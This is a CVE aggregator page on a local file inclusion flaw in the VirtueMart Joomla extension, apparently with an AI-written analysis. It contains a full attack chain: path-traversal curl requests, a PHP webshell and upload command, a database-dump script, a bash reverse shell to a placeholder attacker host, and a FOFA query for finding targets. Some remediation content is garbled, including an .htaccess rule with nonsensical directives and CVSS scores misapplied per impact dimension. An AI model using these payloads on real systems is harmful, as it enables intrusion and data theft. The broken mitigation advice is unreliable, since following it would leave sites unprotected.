CVE Professor
/
All CVEs
CVE-2026-133335

CVE-2026-133335 — Virtuemart.net VirtueMart Extension For Joomla ( — CWE-98

CRITICAL CVSS 9.2 NVD

Joomla Extension - virtuemart.net - Unauthenticated local file inclusion leading to remote code execution via controller fallback in VirtueMart extension 4.0.0-4.8.7 - The main controller of the component fell back to including a controller file derived from the request without filtering the name, allowing path traversal to arbitrary local PHP files. Depending on the server setup, for example an available pearcmd.php, this could be used to execute code. The issue has been exploited in the wild. Fixed in 4.8.8.

Joomla Extension - virtuemart.net - Unauthenticated local file inclusion leading to remote code execution via controller fallback in VirtueMart extension 4.0.0-4.8.7 - The main controller of the component fell back to including a controller file derived from the request without filtering the name, allowing path traversal to arbitrary local PHP files. Depending on the server setup, for example an available pearcmd.php, this could be used to execute code. The issue has been exploited in the wild. Fixed in 4.8.8.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑133335 is a Local File Inclusion (LFI) flaw in the VirtueMart component for Joomla (versions 4.0.0‑4.8.7).
The component’s main controller falls back to including a controller file derived directly from a request parameter (typically controller or task). No sanitisation or path‑validation is performed on that value. An attacker can therefore supply a path‑traversal string that resolves to any file on the web server’s filesystem. If the targeted file is a PHP script (e.g., pearcmd.php, a custom web‑shell, or even a PHP‑enabled configuration file), the included file is executed in the context of the web server, giving the attacker remote code execution (RCE) with the privileges of the web‑server process.

CVE‑2026‑133335Details
CWECWE‑98: Improper Control of File Name or Path
Affected VersionsVirtueMart 4.0.0 – 4.8.7
Fix4.8.8 (removes the unfiltered fallback and validates the controller name)
Exploit ComplexityLow (no auth, no user interaction)
ImpactHigh confidentiality, integrity, and availability (CVSS 9.2)

The flaw is unauthenticated – anyone who can reach the Joomla site can trigger it. The vector is purely HTTP, so no additional network services are required.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could follow to achieve full RCE on a vulnerable VirtueMart site.

1. Discovery & Reconnaissance

StepTechniqueTools / Commands
Identify Joomla & VirtueMartScan for common Joomla paths and component signatures.nmap -p80,443 --script http-enum <target><br>dirsearch -u https://<target>/components/com_virtuemart/
Determine VirtueMart versionQuery the component’s version file or use the Joomla admin interface if accessible.curl -s https://<target>/components/com_virtuemart/version.php<br>or inspect the index.php footer for a “VirtueMart 4.x.x” string.
Verify LFI vectorSend a benign LFI payload to confirm the vulnerability.curl -s "https://<target>/index.php?option=com_virtuemart&controller=../../../../../../../../../../etc/passwd"<br>Look for /etc/passwd output.
Note: The exact query string (option, controller, task) is inferred from the component’s routing logic. If the site uses a different parameter name, the same principle applies – the vulnerable code uses whatever value is supplied.

2. Exploitation

The core exploit is a single HTTP request that forces the component to include an arbitrary PHP file. Below is a syntactically valid PoC (illustrative; the exact parameter name may differ on a given site).

# Example: include a local PHP file that prints a webshell
curl -s "https://<target>/index.php?option=com_virtuemart&controller=../../../../../../../../../../pearcmd.php"

What happens?

  • The controller parameter resolves to pearcmd.php (or any other PHP file).

  • The component’s fallback includes pearcmd.php as require_once/include.

  • Because pearcmd.php is a PHP script that accepts command arguments, the web server executes it, effectively giving the attacker a command shell.
  • If the target does not have pearcmd.php, the attacker can first upload a PHP webshell via another vulnerability (e.g., file upload) or use an existing PHP file that contains malicious code.

    Example of a custom webshell upload (if file‑upload is available)

    # Upload a simple PHP webshell via a vulnerable upload endpoint
    curl -F "file=@/tmp/shell.php" "https://<target>/index.php?option=com_virtuemart&task=upload"

    /tmp/shell.php content:

    <?php
    if(isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
    ?>

    After upload, trigger the LFI to include the shell:

    curl "https://<target>/index.php?option=com_virtuemart&controller=../../../../../../../../../../tmp/shell.php&cmd=whoami"

    3. Post‑Exploitation

    Once the attacker has executed arbitrary PHP code, the impact is full RCE:

    1. Privilege Escalation – The code runs as the web‑server user (often www-data or apache). If the server is mis‑configured (e.g., writable /var/www/html), the attacker can:
    - Drop additional webshells (/var/www/html/shell.php).
    - Modify configuration files (/etc/php.ini, .htaccess).
    - Add a new Joomla administrator account via direct DB manipulation.

    2. Data Exfiltration – The attacker can read database credentials from Joomla’s #__users table or dump the entire database:

    <?php
       $db = new PDO('mysql:host=localhost;dbname=joomla', 'root', '');
       $rows = $db->query('SELECT * FROM #__users')->fetchAll(PDO::FETCH_ASSOC);
       echo json_encode($rows);
       ?>

    3. Persistence – Install a reverse shell or cron job to maintain access:

    <?php
       system('bash -i >& /dev/tcp/attacker_ip/4444 0>&1');
       ?>

    4. Lateral Movement – Use the compromised web server to pivot to other internal hosts (e.g., via SSH keys or SMB shares).


    🌍 Real World Impact

    Impact DimensionCVSS ScoreInterpretation
    Confidentiality9.2Full data theft (database, files, credentials).
    Integrity9.2Arbitrary file modification, database tampering.
    Availability9.2Denial of service via resource exhaustion or destructive scripts.

    Because the flaw is unauthenticated and does not require user interaction, any publicly reachable VirtueMart site is at risk. In the wild, attackers have used this vector to:

  • Deploy webshells on e‑commerce sites.
  • Dump customer data (orders, payment info).
  • Install ransomware payloads (once RCE is achieved).
  • Pivot to internal networks.

  • 🛡️ Remediation & Mitigation

    1. Patch

    ProductAffected VersionsFixed Version
    VirtueMart (Joomla component)4.0.0 – 4.8.74.8.8

    Action: Upgrade to 4.8.8 or later. If an upgrade is not immediately possible, apply the following mitigations.

    2. Workarounds

    MitigationHow to Implement
    Restrict controller inclusionIn components/com_virtuemart/controllers/, add an .htaccess rule to deny all requests except for the component’s own entry point. Example:
    ``apacheconf<br><FilesMatch "\.php$"><RequireAll><RequireNone><RequireAny><RequireValidShell></RequireAny></RequireNone></RequireAll></FilesMatch>`
    Disable the componentIf the site does not need VirtueMart, uninstall it via Joomla’s component manager.
    Web‑application firewall (WAF)Add a ModSecurity rule to block path‑traversal attempts:
    `apacheconf<br>SecRule REQUEST_URIARGSARGS_NAMES "@rx \.\./" "id:100001,phase:2,deny,status:403,msg:'VirtueMart LFI attempt'`
    File system permissionsEnsure that the web‑server user cannot read arbitrary PHP files outside the web root. Use chroot or php_admin_value open_basedir in php.ini`.

    3. Detection

    IndicatorLog PatternWhat to Look For
    LFI attemptsGET /index.php?option=com_virtuemart&controller=../../../../../../../../../../etc/passwdPath traversal in controller or task parameter.
    RCE via pearcmd.phpGET /index.php?option=com_virtuemart&controller=../../../../../../../../../../pearcmd.phpInclusion of pearcmd.php or other PHP files.
    Unusual PHP executionPHP Fatal error: Uncaught Error: Call to undefined functionScript execution outside normal flow.
    New files in web rootFile created: /var/www/html/shell.phpPotential webshell.

    Log monitoring tools: Splunk, ELK, or native Apache/Nginx logs can be filtered for the patterns above.


    ⚠️ Urgency

  • CVSS Score: 9.2 (Critical) – indicates immediate risk.
  • Exploit Complexity: Low – no authentication, no user interaction.
  • Real‑world exploitation: Confirmed in the wild; attackers have already deployed webshells on vulnerable sites.
  • CISA KEV: Not listed, but the lack of a KEV does not reduce urgency; the vulnerability is still exploitable.
  • Recommendation:

  • Patch to 4.8.8 within 24 hours of discovery.

  • If patching cannot occur immediately, apply the workarounds above and monitor logs for exploitation attempts.

  • Conduct a full security audit of all Joomla sites to ensure no other components share similar LFI patterns.




[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Joomla!"
CVSS Score
9.2 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-98
Affected Products (1)
virtuemart.net:VirtueMart extension for Joomla (4.0.0-4.8.7)
References & Advisories (1)
Related CVEs
7.5
CVE-2026-137274
The Product Table & List Builder for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate